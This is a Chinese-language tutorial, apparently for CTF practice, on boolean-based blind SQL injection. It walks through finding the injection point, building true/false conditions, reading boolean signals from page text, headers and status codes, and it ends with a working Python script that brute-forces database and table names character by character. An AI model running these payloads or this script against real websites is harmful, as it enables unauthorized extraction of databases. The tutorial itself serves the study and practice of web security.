前言
布尔盲注适用于回显为“查询成功”和“查询失败”,而不是具体的值
思路步骤
Step 1: 找注入点
关于找注入点比较简单,学过SQL注入应该都会,如果题目给了源码就直接看着SQL语句构造就行了。
如果没有给源码,我们需要先测试字段类型是字符型还是数字型,然后看是否有回显,然后用or 1=1#
之类的东西去测试。具体测试时,我们先想象他的SQL语句是select xx from yy where zz = '$your_input';
因为基本所有题的SQL语句都是这个结构,在这个SQL语句结构的基础上去测试就好了。
Step 2: 构造condition
所谓的condition就是某个条件,这个条件的真与假可以影响SQL语句的查询结果,进而影响WEB页面的回显。例如输入0' or 1=1#
和0' or 1=2#
(#
是注释符):
SELECT name, mojority FROM student WHERE student_id = '0' or 1=1#' #查询成功
SELECT name, mojority FROM student WHERE student_id = '0' or 1=2#' #查询失败
这里我们可以明确的知道student_id为0的学员是不可能存在的,那么上述SQL语句的查询结果就完全由or
后面的1=1
和1=2
来决定了。SQL中=
意为“是否相等”,所以1=1
就表示1是否等于1
,这是一个布尔表达式,它的结果只有True和False两种。
这个能直接影响整个SQL语句查询结果的1=1
和1=2
,也就是这个布尔条件表达式,就是我们目前Step 2要构造的condition。
Step 3: 注数据
现在我们只需要将Step 2构造的Condition换成具体的注入数据的语句,就可以了!
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'a'
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'b'
....
布尔盲注中的布尔回显
- 最常见的就是回显的内容不同,比如
查询成功
和查询失败
,回显长度有时也可以 - 返回的HTTP头的不同,比如结果为真可能会返回Location头或者set-cookie
- 看HTTP状态码,比如结果为真则3xx重定向,为假则返回200
盲注脚本的编写
分析可知:
- 针对截取的每一位,都要把字母表跑一遍来判断是否相等,因此需要两层循环,外层循环为位数,内层循环为具体值。
- 对于注入不同的数据,只要修改内部子查询就好了,其他的部分不需要改动,因此可以把子查询写成一个单独的变量。
于是可以写出这样的注入脚本:
# 导入所需模块
import requests
import string
# 构造字母表,根据字母表去爆破每一位的具体值
alphabet = string.ascii_letters + string.digits + ",}{_="
# 题目的URL
url = "http://127.0.0.01/?student_id="
# 注入什么数据,select变量就写什么子查询语句
select = "select database()"
select = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 用来保存注入出的结果
result = ""
for i in range(1,100): # 外层循环,从1开始,因为截取的位数是从1开始的
for ch in alphabet: # 内层循环,是具体需要测试的值
# 构造SQL语句,发起请求
payload = f"2019122001' and substr(({select}) ,{i},1) = '{ch}' %23"
r = requests.get(url=url+payload)
# 根据回显判断,如果得到了表示查询成功的回显,那么说明判断数据的这一位是正确的
if "查询成功" in r.text:
result += ch
print("注入成功:", result)
break # 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了
# 如果已经跑到了字母表最后一位都还没有进到上面的if然后break,说明这轮循环没跑出来正确结果,说明注入完成(或者注入payload写的有问题注入失败),脚本没必要继续跑下去了
if ch == alphabet[-1]:
print("注入完成")
exit(0)
另有参考
…未完待续